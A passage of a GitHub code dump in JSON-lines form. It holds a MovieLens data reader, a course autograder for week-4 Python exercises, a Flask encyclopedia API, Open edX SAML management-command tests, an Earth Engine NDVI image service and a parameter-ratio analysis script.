ERROR\")\n\n\n","repo_name":"David-Kent-Consulting/OCI_ExpressUtils_version_2","sub_path":"master/dev/Oci-UpdateVolumeSpeed.py","file_name":"Oci-UpdateVolumeSpeed.py","file_ext":"py","file_size_in_byte":7786,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"13845831458","text":"# -*- coding:utf8-*-\n\"\"\"\nauthor: Dylon\n\"\"\"\nimport os\n\n\ndef get_user_click(rating_file):\n    \"\"\"\n    get user click list\n    :param rating_file: input file\n    :return: dict, key: userid, value: [itemid1, itemid2]\n    \"\"\"\n    if not os.path.exists(rating_file):\n        return {}\n    fp = open(rating_file)\n    print(\"GG\")\n    user_click = {}\n    for line in fp:\n        item = line.strip().split('::')\n        if len(item) < 4:\n            continue\n        [userid, itemid, rating, timestamp] = item\n        if float(rating) < 3.0:\n            continue\n        if userid not in user_click:\n            user_click[userid] = []\n        user_click[userid].append(itemid)\n\n    fp.close()\n    return user_click\n\n\ndef get_item_info(item_file):\n    \"\"\"\n    get item info[title, genres]\n    :param item_file: iteminfo file\n    :return: a dict, key: itemid, value: [title, genre]\n    \"\"\"\n    if not os.path.exists(item_file):\n        return {}\n    fp = open(item_file, 'r',encoding='utf-8')\n    item_info = {}\n    for line in fp:\n        item = line.strip().split('::')\n        if len(item) < 3:\n            continue\n        [itemid, title, genre] = item\n        if itemid not in item_info:\n            item_info[itemid] = [title, genre]\n    fp.close()\n    return item_info\n\n# if __name__ == '__main__':\n    # user_click = get_user_click('../data/ratings.dat')\n    # print(len(user_click))\n    # print(user_click[\"1\"])\n\n    # item_info = get_item_info('../data/movies.dat')\n    # print(len(item_info))","repo_name":"YZYT/recommender-algorithm-implementation","sub_path":"util/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5932034302","text":"from unitgrade import UTestCase, Report\nimport unittest\nfrom unittest.mock import patch\nimport cp\nimport io\n\n\ndef string_fixer(s):\n    return s.strip().replace(\"  \", \" \")\n\n\nclass Week04Palindrome(UTestCase):\n    def test_is_palindrome(self):\n        from cp.ex04.palindrome import is_palindrome\n\n        self.assertTrue(is_palindrome(\"madam\"))\n        self.assertTrue(is_palindrome(\"kk\"))\n        self.assertTrue(is_palindrome(\"m\"))\n        self.assertIs(is_palindrome(\"gentleman\"), False)\n        self.assertIs(is_palindrome(\"ma\"), False)\n\n\nclass Week04Bug(UTestCase):\n    def test_nice_sign(self):\n        from cp.ex04.bug import nice_sign\n\n        with unittest.mock.patch(\"sys.stdout\", new=io.StringIO()) as mock_stdout:\n            nice_sign(\"hello\")\n            out = mock_stdout.getvalue()\n\n            self.assertEqual(\n                len(out.splitlines()), 3, msg=\"You did not print out 3 seperate lines\"\n            )\n            l1 = out.splitlines()[0]\n            l2 = out.splitlines()[1]\n            l3 = out.splitlines()[2]\n\n            self.assertEqual(string_fixer(l1), \"---------\")\n            self.assertEqual(string_fixer(l2), \"| hello |\")\n            self.assertEqual(string_fixer(l3), \"---------\")\n\n    def test_last_bug(self):\n        from cp.ex04.bug import last_bug\n\n        with unittest.mock.patch(\"sys.stdout\", new=io.StringIO()) as mock_stdout:\n            last_bug()\n            out = mock_stdout.getvalue()\n\n            self.assertEqual(\n                len(out.splitlines()), 3, msg=\"You did not print out 3 seperate lines\"\n            )\n            l1 = out.splitlines()[0]\n            l2 = out.splitlines()[1]\n            l3 = out.splitlines()[2]\n\n            self.assertEqual(l1, \"------------------------------\")\n            self.assertEqual(l2, \"| I have written my last bug |\")\n            self.assertEqual(l3, \"------------------------------\")\n\n\nclass Week04Math(UTestCase):\n    def test_square_root(self):\n        from cp.ex04.mathematics import square_root\n\n        self.assertAlmostEqual(square_root(9), 3, places=3)\n        self.assertAlmostEqual(square_root(25), 5, places=3)\n\n    def test_pi(self):\n        from cp.ex04.mathematics import ramanujan\n\n        self.assertAlmostEqual(ramanujan(), 3.1416, places=3)\n\n\nclass Week04Parenthesis(UTestCase):\n    def test_matching(self):\n        from cp.ex04.parenthesis import matching\n\n        self.assertTrue(matching(\"3x(y+x)\"))\n        self.assertTrue(matching(\"3x\"))\n        self.assertTrue(matching(\"3x(y+(x-1))\"))\n        self.assertTrue(matching(\"3(x-8)^2(y+(x-1))\"))\n        self.assertIs(matching(\"3x(y+x))\"), False)\n        self.assertIs(matching(\"(3x(y+x)\"), False)\n\n    def test_innermost(self):\n        from cp.ex04.parenthesis import find_innermost_part\n\n        self.assertEqual(find_innermost_part(\"(3+x)\"), \"3+x\")\n        self.assertEqual(find_innermost_part(\"3+x\"), \"3+x\")\n        self.assertEqual(find_innermost_part(\"3x((y+2)y+x)\"), \"y+2\")\n        self.assertEqual(find_innermost_part(\"3x((y+(1 - q^2)y+x))\"), \"1 - q^2\")\n\n    def test_find_index_of_equality(self):\n        from cp.ex04.parenthesis import find_index_of_equality\n\n        self.assertEqual(find_index_of_equality(\"()\"), 1)\n        self.assertEqual(find_index_of_equality(\"(()())\"), 3)\n        self.assertEqual(find_index_of_equality(\"())\"), 2)\n        self.assertEqual(find_index_of_equality(\"())(((((\"), 2)\n        # self.assertEqual(find_index_of_equality(\"\"), 0)\n        self.assertEqual(find_index_of_equality(\")(()())(\"), 4)\n\n\nclass Week04Dialogue(UTestCase):\n    def test_print_the_dialogue(self):\n        from cp.ex04.parenthesis import print_the_dialogue\n\n        with unittest.mock.patch(\"sys.stdout\", new=io.StringIO()) as mock_stdout:\n            print_the_dialogue(\"He said: ''How are you doing?''\")\n            out = mock_stdout.getvalue()\n            self.assertEqual(out.strip(), \"How are you doing?\")\n\n    def test_print_the_dialogue_twolines(self):\n        from cp.ex04.parenthesis import print_the_dialogue\n\n        with unittest.mock.patch(\"sys.stdout\", new=io.StringIO()) as mock_stdout:\n            print_the_dialogue(\n                \"He: ''How are you doing?'' She: ''Still stuck on my 02002 programming problems''.\"\n            )\n            out = mock_stdout.getvalue()\n            self.assertEqual(\n                out.strip(),\n                \"How are you doing?\\nStill stuck on my 02002 programming problems\",\n            )\n\n\nclass Week04Prefix(UTestCase):\n    def test_common_prefix(self):\n        from cp.ex04.prefix import common_prefix\n\n        self.assertEqual(common_prefix(\"cat\", \"cawabunga\"), \"ca\")\n        self.assertEqual(common_prefix(\"caterpillar\", \"catapult\"), \"cat\")\n        self.assertEqual(common_prefix(\"cat\", \"dog\"), \"\")\n\n    def test_common_prefix3(self):\n        from cp.ex04.prefix import common_prefix3\n\n        self.assertEqual(common_prefix3(\"cat\", \"cawabunga\", \"catapult\"), \"ca\")\n        self.assertEqual(common_prefix3(\"cawabunga\", \"cow\", \"catapult\"), \"c\")\n        self.assertEqual(common_prefix3(\"selenium\", \"sealant\", \"sensei\"), \"se\")\n        self.assertEqual(common_prefix3(\"selenium\", \"apple\", \"sensei\"), \"\")\n\n\nclass Week04Tests(Report):\n    title = \"Tests for week 04\"\n    # version = 1.0\n    # url = \"https://gitlab.compute.dtu.dk/cp/02002students/-/blob/master/cp/tests\"\n    pack_imports = [cp]\n    questions = [\n        (Week04Math, 10),\n        (Week04Palindrome, 10),\n        (Week04Bug, 10),\n        (Week04Parenthesis, 10),\n        (Week04Dialogue, 10),\n        (Week04Prefix, 10),\n    ]\n\n\nif __name__ == \"__main__\":\n    from unitgrade import evaluate_report_student\n\n    evaluate_report_student(Week04Tests())\n","repo_name":"UlisesLozoya/DTU","sub_path":"02002students-master/cp/tests/tests_week04.py","file_name":"tests_week04.py","file_ext":"py","file_size_in_byte":5650,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"3"}
+{"seq_id":"27399318530","text":"# -*- coding: utf-8 -*-\r\n__author__ = 'n2m'\r\n\r\nfrom flask import jsonify\r\nfrom flask.ext import restful\r\nfrom rest import crudmgo\r\nfrom bson import ObjectId\r\n\r\niz_encyclopedia = crudmgo.CrudMgoBlueprint(\"iz_encyclopedia\", __name__, model=\"EncycloCategory\")\r\niz_encycloarticle = crudmgo.CrudMgoBlueprint(\"iz_encycloarticle\", __name__, model=\"EncycloArticle\")\r\n\r\n\r\n@iz_encyclopedia.resource\r\nclass EncyclopediaList(crudmgo.ListAPI):\r\n    readonly = True\r\n    order = \"order\"\r\n\r\n    \"\"\"\r\n    def get(self):\r\n        pr = restful.reqparse.RequestParser()\r\n        pr.add_argument(\"parent\", type=str, store_missing=False)\r\n        args = pr.parse_args()\r\n\r\n        self.filter_by = {\"parent\": None}\r\n        if args.get(\"parent\"):\r\n            m = self.model.find_one({\"uname\": args[\"parent\"]})\r\n            if m:\r\n                self.filter_by[\"parent\"] = m[\"_id\"]\r\n        return super(EncyclopediaList, self).get()\r\n    \"\"\"\r\n    def get(self):\r\n        pr = restful.reqparse.RequestParser()\r\n        pr.add_argument(\"lang\", type=str, store_missing=False)\r\n        args = pr.parse_args()\r\n\r\n        self.filter_by = {\"lang\": \"en\"}\r\n        if args.get(\"lang\") and args[\"lang\"].lower() != \"en\":\r\n            self.filter_by[\"lang\"] = args[\"lang\"].lower()\r\n        return super(EncyclopediaList, self).get()\r\n\r\n\r\n@iz_encyclopedia.resource\r\nclass EncyclopediaItem(crudmgo.ItemAPI):\r\n    readonly = True\r\n\r\n    def get(self, itemid):\r\n        pr = restful.reqparse.RequestParser()\r\n        pr.add_argument(\"lang\", type=str, store_missing=False)\r\n        args = pr.parse_args()\r\n\r\n        lang = \"en\"\r\n        if args.get(\"lang\") and args[\"lang\"].lower() != \"en\":\r\n            lang = args[\"lang\"].lower()\r\n\r\n        m = self.model.find_one({\"uname\": itemid, \"lang\": lang})\r\n        if m:\r\n            return jsonify(crudmgo.model_to_json(m, is_single=True))\r\n        return jsonify({})\r\n\r\n\r\n@iz_encycloarticle.resource\r\nclass ArticleList(crudmgo.ListAPI):\r\n    limit = 0\r\n    order = \"order\"\r\n    readonly = True\r\n\r\n    def get(self):\r\n        pr = restful.reqparse.RequestParser()\r\n        pr.add_argument(\"category\", type=str, store_missing=False)\r\n        pr.add_argument(\"lang\", type=str, store_missing=False)\r\n        args = pr.parse_args()\r\n\r\n        self.filter_by = {\"category\": None, \"lang\": \"en\"}\r\n        if args.get(\"lang\") and args[\"lang\"].lower() != \"en\":\r\n            self.filter_by[\"lang\"] = args[\"lang\"].lower()\r\n\r\n        if args.get(\"category\"):\r\n            if ObjectId.is_valid(args[\"category\"]):\r\n                self.filter_by[\"category\"] = ObjectId(args[\"category\"])\r\n            else:\r\n                m = self.db[\"EncycloCategory\"].find_one({\"uname\": args[\"category\"], \"lang\": self.filter_by[\"lang\"]})\r\n                if m:\r\n                    self.filter_by[\"category\"] = m[\"_id\"]\r\n\r\n        return super(ArticleList, self).get()\r\n\r\n\r\n@iz_encycloarticle.resource\r\nclass ArticleItem(crudmgo.ItemAPI):\r\n    readonly = True\r\n\r\n    def get(self, itemid):\r\n        pr = restful.reqparse.RequestParser()\r\n        pr.add_argument(\"lang\", type=str, store_missing=False)\r\n        args = pr.parse_args()\r\n\r\n        lang = \"en\"\r\n        if args.get(\"lang\") and args[\"lang\"].lower() != \"en\":\r\n            lang = args[\"lang\"].lower()\r\n\r\n        m = self.model.find_one({\"uname\": itemid, \"lang\": lang})\r\n        if m:\r\n            return jsonify(crudmgo.model_to_json(m, is_single=True))\r\n        return jsonify({})\r\n\r\n\r\napi = restful.Api(iz_encyclopedia)\r\napi.add_resource(EncyclopediaList, \"\", endpoint=\"encyclopedia\")\r\napi.add_resource(EncyclopediaList, \"/\", endpoint=\"encyclopedia_slash\")\r\napi.add_resource(EncyclopediaItem, \"/item/<itemid>\", endpoint=\"encyclopedia_item\")\r\n\r\napi = restful.Api(iz_encycloarticle)\r\napi.add_resource(ArticleList, \"\", endpoint=\"e_articles\")\r\napi.add_resource(ArticleList, \"/\", endpoint=\"e_articles_slash\")\r\napi.add_resource(ArticleItem, \"/item/<itemid>\", endpoint=\"e_article\")\r\n","repo_name":"kodemafia/JavaScript","sub_path":"challenge-api/mod_encyclopedia/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12598257803","text":"\"\"\"\nTests for `saml` management command, this command fetches saml metadata from providers and updates\nexisting data accordingly.\n\"\"\"\n\n\nimport os\nfrom io import StringIO\n\nfrom unittest import mock\nfrom django.core.management import call_command\nfrom django.core.management.base import CommandError\nfrom requests import exceptions\nfrom requests.models import Response\n\nfrom openedx.core.djangolib.testing.utils import CacheIsolationTestCase, skip_unless_lms\nfrom common.djangoapps.third_party_auth.tests.factories import SAMLConfigurationFactory, SAMLProviderConfigFactory\n\n\ndef mock_get(status_code=200):\n    \"\"\"\n    Args:\n        status_code (int): integer showing the status code for the response object.\n\n    Returns:\n        returns a function that can be used as a mock function for requests.get.\n    \"\"\"\n    def _(url=None, *args, **kwargs):  # lint-amnesty, pylint: disable=keyword-arg-before-vararg, unused-argument\n        \"\"\"\n        mock method for requests.get, this method will read xml file, form a Response object from the\n        contents of this file, set status code and return the Response object.\n        \"\"\"\n        url = url.split(\"/\")[-1] if url else \"testshib-providers.xml\"\n\n        file_path = os.path.dirname(os.path.realpath(__file__)) + f\"/test_data/{url}\"\n        with open(file_path) as providers:\n            xml = providers.read()\n\n        response = Response()\n        response._content = xml  # pylint: disable=protected-access\n        response.status_code = status_code\n\n        return response\n    return _\n\n\n@skip_unless_lms\nclass TestSAMLCommand(CacheIsolationTestCase):\n    \"\"\"\n    Test django management command for fetching saml metadata.\n    \"\"\"\n\n    def setUp(self):\n        \"\"\"\n        Setup operations for saml configurations. these operations contain\n        creation of SAMLConfiguration and SAMLProviderConfig records in database.\n        \"\"\"\n        super().setUp()\n\n        self.stdout = StringIO()\n\n        # We are creating SAMLConfiguration instance here so that there is always at-least one\n        # disabled saml configuration instance, this is done to verify that disabled configurations are\n        # not processed.\n        SAMLConfigurationFactory.create(enabled=False, site__domain='testserver.fake', site__name='testserver.fake')\n        SAMLProviderConfigFactory.create(\n            site__domain='testserver.fake',\n            site__name='testserver.fake',\n            slug='test-shib',\n            name='TestShib College',\n            entity_id='https://idp.testshib.org/idp/shibboleth',\n            metadata_source='https://www.testshib.org/metadata/testshib-providers.xml',\n        )\n\n    def __create_saml_configurations__(self, saml_config=None, saml_provider_config=None):\n        \"\"\"\n        Helper method to create SAMLConfiguration and AMLProviderConfig.\n        \"\"\"\n        SAMLConfigurationFactory.create(enabled=True, **(\n            saml_config or {\n                'site__domain': 'testserver.fake',\n                'site__name': 'testserver.fake',\n            }\n        ))\n        SAMLProviderConfigFactory.create(enabled=True, **(\n            saml_provider_config or {\n                'site__domain': 'testserver.fake',\n                'site__name': 'testserver.fake',\n                'slug': 'test-shib',\n                'name': 'TestShib College',\n                'entity_id': 'https://idp.testshib.org/idp/shibboleth',\n                'metadata_source': 'https://www.testshib.org/metadata/testshib-providers.xml',\n            }\n        ))\n\n    def test_raises_command_error_for_invalid_arguments(self):\n        \"\"\"\n        Test that management command raises `CommandError` with a proper message in case of\n        invalid command arguments.\n\n        This test would fail with an error if ValueError is raised.\n        \"\"\"\n        # Call `saml` command without any argument so that it raises a CommandError\n        with self.assertRaisesMessage(CommandError, \"Command can only be used with '--pull' option.\"):\n            call_command(\"saml\")\n\n        # Call `saml` command without any argument so that it raises a CommandError\n        with self.assertRaisesMessage(CommandError, \"Command can only be used with '--pull' option.\"):\n            call_command(\"saml\", pull=False)\n\n    def test_no_saml_configuration(self):\n        \"\"\"\n        Test that management command completes without errors and logs correct information when no\n        saml configurations are enabled/present.\n        \"\"\"\n        expected = \"\\nDone.\\n1 provider(s) found in database.\\n1 skipped and 0 attempted.\\n0 updated and 0 failed.\\n\"\n        call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\", mock_get())\n    def test_fetch_saml_metadata(self):\n        \"\"\"\n        Test that management command completes without errors and logs correct information when\n        one or more saml configurations are enabled.\n        \"\"\"\n        # Create enabled configurations\n        self.__create_saml_configurations__()\n\n        expected = \"\\nDone.\\n1 provider(s) found in database.\\n0 skipped and 1 attempted.\\n1 updated and 0 failed.\\n\"\n        call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\", mock_get(status_code=404))\n    def test_fetch_saml_metadata_failure(self):\n        \"\"\"\n        Test that management command completes with proper message for errors\n        and logs correct information.\n        \"\"\"\n        # Create enabled configurations\n        self.__create_saml_configurations__()\n\n        expected = \"\\nDone.\\n1 provider(s) found in database.\\n0 skipped and 1 attempted.\\n0 updated and 1 failed.\\n\"\n\n        with self.assertRaisesRegex(CommandError, r\"HTTPError: 404 Client Error\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\", mock_get(status_code=200))\n    def test_fetch_multiple_providers_data(self):\n        \"\"\"\n        Test that management command completes with proper message for error or success\n        and logs correct information when there are multiple providers with their data.\n        \"\"\"\n        # Create enabled configurations\n        self.__create_saml_configurations__()\n\n        # Add another set of configurations\n        self.__create_saml_configurations__(\n            saml_config={\n                \"site__domain\": \"second.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n            },\n            saml_provider_config={\n                \"site__domain\": \"second.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n                \"slug\": \"second-test-shib\",\n                \"entity_id\": \"https://idp.testshib.org/idp/another-shibboleth\",\n                \"metadata_source\": \"https://www.testshib.org/metadata/another-testshib-providers.xml\",\n            }\n        )\n\n        # Add another set of configurations\n        self.__create_saml_configurations__(\n            saml_config={\n                \"site__domain\": \"third.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n            },\n            saml_provider_config={\n                \"site__domain\": \"third.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n                \"slug\": \"third-test-shib\",\n                # Note: This entity id will not be present in returned response and will cause failed update.\n                \"entity_id\": \"https://idp.testshib.org/idp/non-existent-shibboleth\",\n                \"metadata_source\": \"https://www.testshib.org/metadata/third/testshib-providers.xml\",\n            }\n        )\n\n        expected = '\\n3 provider(s) found in database.\\n0 skipped and 3 attempted.\\n2 updated and 1 failed.\\n'\n        with self.assertRaisesRegex(CommandError, r\"MetadataParseError: Can't find EntityDescriptor for entityID\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n        # Now add a fourth configuration, and indicate that it should not be included in the update\n        self.__create_saml_configurations__(\n            saml_config={\n                \"site__domain\": \"fourth.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n            },\n            saml_provider_config={\n                \"site__domain\": \"fourth.testserver.fake\",\n                \"site__name\": \"testserver.fake\",\n                \"slug\": \"fourth-test-shib\",\n                \"automatic_refresh_enabled\": False,\n                # Note: This invalid entity id will not be present in the refresh set\n                \"entity_id\": \"https://idp.testshib.org/idp/fourth-shibboleth\",\n                \"metadata_source\": \"https://www.testshib.org/metadata/fourth/testshib-providers.xml\",\n            }\n        )\n\n        # Four configurations -- one will be skipped and three attempted, with similar results.\n        expected = '\\nDone.\\n4 provider(s) found in database.\\n1 skipped and 3 attempted.\\n0 updated and 1 failed.\\n'\n        with self.assertRaisesRegex(CommandError, r\"MetadataParseError: Can't find EntityDescriptor for entityID\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\")\n    def test_saml_request_exceptions(self, mocked_get):\n        \"\"\"\n        Test that management command errors out in case of fatal exceptions instead of failing silently.\n        \"\"\"\n        # Create enabled configurations\n        self.__create_saml_configurations__()\n\n        mocked_get.side_effect = exceptions.SSLError\n\n        expected = \"\\nDone.\\n1 provider(s) found in database.\\n0 skipped and 1 attempted.\\n0 updated and 1 failed.\\n\"\n\n        with self.assertRaisesRegex(CommandError, \"SSLError:\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n        mocked_get.side_effect = exceptions.ConnectionError\n\n        with self.assertRaisesRegex(CommandError, \"ConnectionError:\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n        mocked_get.side_effect = exceptions.HTTPError\n\n        with self.assertRaisesRegex(CommandError, \"HTTPError:\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\", mock_get(status_code=200))\n    def test_saml_parse_exceptions(self):\n        \"\"\"\n        Test that management command errors out in case of fatal exceptions instead of failing silently.\n        \"\"\"\n        # Create enabled configurations, this configuration will raise MetadataParseError.\n        self.__create_saml_configurations__(\n            saml_config={\n                \"site__domain\": \"third.testserver.fake\",\n            },\n            saml_provider_config={\n                \"site__domain\": \"third.testserver.fake\",\n                \"slug\": \"third-test-shib\",\n                # Note: This entity id will not be present in returned response and will cause failed update.\n                \"entity_id\": \"https://idp.testshib.org/idp/non-existent-shibboleth\",\n                \"metadata_source\": \"https://www.testshib.org/metadata/third/testshib-providers.xml\",\n            }\n        )\n\n        expected = \"\\nDone.\\n2 provider(s) found in database.\\n1 skipped and 1 attempted.\\n0 updated and 1 failed.\\n\"\n\n        with self.assertRaisesRegex(CommandError, \"MetadataParseError: Can't find EntityDescriptor for entityID\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n\n    @mock.patch(\"requests.get\")\n    def test_xml_parse_exceptions(self, mocked_get):\n        \"\"\"\n        Test that management command errors out in case of fatal exceptions instead of failing silently.\n        \"\"\"\n        response = Response()\n        response._content = \"\"  # pylint: disable=protected-access\n        response.status_code = 200\n\n        mocked_get.return_value = response\n\n        # create enabled configuration\n        self.__create_saml_configurations__()\n\n        expected = \"\\nDone.\\n1 provider(s) found in database.\\n0 skipped and 1 attempted.\\n0 updated and 1 failed.\\n\"\n\n        with self.assertRaisesRegex(CommandError, \"XMLSyntaxError:\"):\n            call_command(\"saml\", pull=True, stdout=self.stdout)\n        assert expected in self.stdout.getvalue()\n","repo_name":"openedx/edx-platform","sub_path":"common/djangoapps/third_party_auth/management/commands/tests/test_saml.py","file_name":"test_saml.py","file_ext":"py","file_size_in_byte":12491,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"}
+{"seq_id":"8296426103","text":"import ee\nimport requests\nfrom db.models import Field\n\n\ndef get_field_image(field: Field) -> bytes:\n    start_date = '2021-05-01'\n    end_date = '2021-06-30'\n    image = _get_ee_image(field, start_date, end_date)\n    rgb_image = image.visualize(min=0, max=2000, bands=['B4', 'B3', 'B2'])\n    url = _get_thumbnail_url(rgb_image)\n    data = requests.get(url).content\n    return data\n\n\ndef get_ndvi_image(field: Field) -> bytes:\n    start_date = '2021-05-01'\n    end_date = '2021-06-30'\n    image = _get_ee_image(field, start_date, end_date)\n    ndvi = image.normalizedDifference(['B8', 'B4'])\n    ndvi_params = {\n        'palette': ['#ffffcc',\n                    '#c2e699',\n                    '#78c679',\n                    '#31a354',\n                    '#006837'],\n        'max': 1,\n        'min': 0\n    }\n    ndvi_image = ndvi.visualize(**ndvi_params)\n    url = _get_thumbnail_url(ndvi_image)\n    return requests.get(url).content\n\n\ndef _get_ee_image(field: Field, start_date: str, end_date: str)\\\n        -> ee.Image:\n\n    area = ee.Geometry(field.geojson)\n    image = ee.ImageCollection('COPERNICUS/S2_SR') \\\n        .filterBounds(area) \\\n        .filterDate(start_date, end_date) \\\n        .sort('CLOUDY_PIXEL_PERCENTAGE') \\\n        .first() \\\n        .clip(area)\n    return image\n\n\ndef _get_thumbnail_url(image: ee.Image) -> str:\n    return image.getThumbURL(\n        params={'format': 'png', 'dimensions': '256x256'}\n    )\n","repo_name":"zavr1k/aerospace-agro-ndvi","sub_path":"fields/services.py","file_name":"services.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"38785375595","text":"import csv, os, argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('-m', '--main_dir', nargs=1, default=['./gama'],\n                    help='Directory containing GAMA data')\nparser.add_argument('-o', '--output_dir', nargs=1, default=['./output'],\n                    help='Sub-directory containing output')\nparser.add_argument(\"-n\", \"--num_values\", type=int, nargs=1, default=[10],\n                    help=\"Numbr of likelihood values to use in mean calculation\")\nargs = parser.parse_args()\n\nmain_dir = args.main_dir[0]\noutput_dir = args.output_dir[0]\nnum_values = args.num_values[0]\n\nparam_file = os.path.join(main_dir, \"parameter_values.txt\")\n\npoint_mle_file = os.path.join(main_dir, output_dir, \"param_point_estimates.csv\")\nmean_mle_file = os.path.join(main_dir, output_dir, \"param_mean_sdev.csv\")\n\ntrue_a0 = 0\ntrue_a1 = 0\ntrue_b0 = 0\ntrue_b1 = 0\nwith open(param_file, 'r') as f:\n    reader = csv.reader(f, dialect=\"excel\")\n    next(reader)\n    for row in reader:\n        if row[0] == 'A0': true_a0 = float(row[1])\n        if row[0] == 'A1': true_a1 = float(row[1])\n        if row[0] == 'B0': true_b0 = float(row[1])\n        if row[0] == 'B1': true_b1 = float(row[1])\n\n#print(true_a0, true_a1, true_b0, true_b1)\n\npoint_a00 = 0\npoint_a01 = 0\npoint_a10 = 0\npoint_a11 = 0\nwith open(point_mle_file, 'r') as f:\n    reader = csv.reader(f, dialect=\"excel\")\n    next(reader)\n    for row in reader:\n        if row[0] == 'a00': point_a00 = float(row[1])\n        if row[0] == 'a01': point_a01 = float(row[1])\n        if row[0] == 'a10': point_a10 = float(row[1])\n        if row[0] == 'a11': point_a11 = float(row[1])\n\n#print(point_a00, point_a01, point_a10, point_a11)\n\nmean_a00 = 0\nmean_a01 = 0\nmean_a10 = 0\nmean_a11 = 0\nwith open(mean_mle_file, 'r') as f:\n    reader = csv.reader(f, dialect=\"excel\")\n    next(reader)\n    for row in reader:\n        if row[0] == 'a00': mean_a00 = float(row[1])\n        if row[0] == 'a01': mean_a01 = float(row[1])\n        if row[0] == 'a10': mean_a10 = float(row[1])\n        if row[0] == 'a11': mean_a11 = float(row[1])\n\n#print(mean_a00, mean_a01, mean_a10, mean_a11)\n\ntr_a0a1 = true_a0/true_a1\ntr_b0b1 = true_b0/true_b1\n\np1_a0a1 = point_a01/point_a11\np2_a0a1 = point_a00/point_a10\n\nm1_a0a1 = mean_a01/mean_a11\nm2_a0a1 = mean_a00/mean_a10\n\np1_b0b1 = point_a00/point_a01\np2_b0b1 = point_a10/point_a11\n\nm1_b0b1 = mean_a00/mean_a01\nm2_b0b1 = mean_a10/mean_a11\n\nprint(\"R1) a0/a1=%.3f point=%.3f mean=%.3f\" % (tr_a0a1, p1_a0a1, m1_a0a1))\nprint(\"R2) a0/a1=%.3f point=%.3f mean=%.3f\" % (tr_a0a1, p2_a0a1, m2_a0a1))\nprint(\"R1) b0/b1=%.3f point=%.3f mean=%.3f\" % (tr_b0b1, p1_b0b1, m1_b0b1))\nprint(\"R2) b0/b1=%.3f point=%.3f mean=%.3f\" % (tr_b0b1, p2_b0b1, m2_b0b1))\n\npm_a0a1 = 0.5 * (p1_a0a1 + p2_a0a1)\nmm_a0a1 = 0.5 * (m1_a0a1 + m2_a0a1)\n\npm_b0b1 = 0.5 * (p1_b0b1 + p2_b0b1)\nmm_b0b1 = 0.5 * (m1_b0b1 + m2_b0b1)\n\nprint(\"R1+R2) a0/a1=%.3f point=%.3f mean=%.3f\" % (tr_a0a1, pm_a0a1, mm_a0a1))\nprint(\"R1+R2) b0/b1=%.3f point=%.3f mean=%.3f\" % (tr_b0b1, pm_b0b1, mm_b0b1))\n\nprint(\"============================\")\n\nimport pandas as pd\nimport numpy as np\n\nsearch_file = os.path.join(main_dir, output_dir, \"param_mle_global_search.csv\")\ndf = pd.read_csv(search_file)\ndf = df.sort_values(['loglik'], ascending=[False]).head(num_values)\ndf['a0a1_1'] = df['a01'] / df['a11']\ndf['a0a1_2'] = df['a00'] / df['a10']\ndf['b0b1_1'] = df['a00'] / df['a01']\ndf['b0b1_2'] = df['a10'] / df['a11']\n\nraw_a0a1 = np.concatenate((np.array(df['a0a1_1']), np.array(df['a0a1_2'])))\nraw_b0b1 = np.concatenate((np.array(df['b0b1_1']), np.array(df['b0b1_2'])))\n\nprint(\"a0/a1=%.3f - MLE mean=%.3f std=%.3f\" % (tr_a0a1, np.mean(raw_a0a1), np.std(raw_a0a1)))\nprint(\"b0/b1=%.3f - MLE mean=%.3f std=%.3f\" % (tr_b0b1, np.mean(raw_b0b1), np.std(raw_b0b1)))\n\n","repo_name":"colabobio/ILM-COVID19-risk","sub_path":"ratios.py","file_name":"ratios.py","file_ext":"py","file_size_in_byte":3751,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
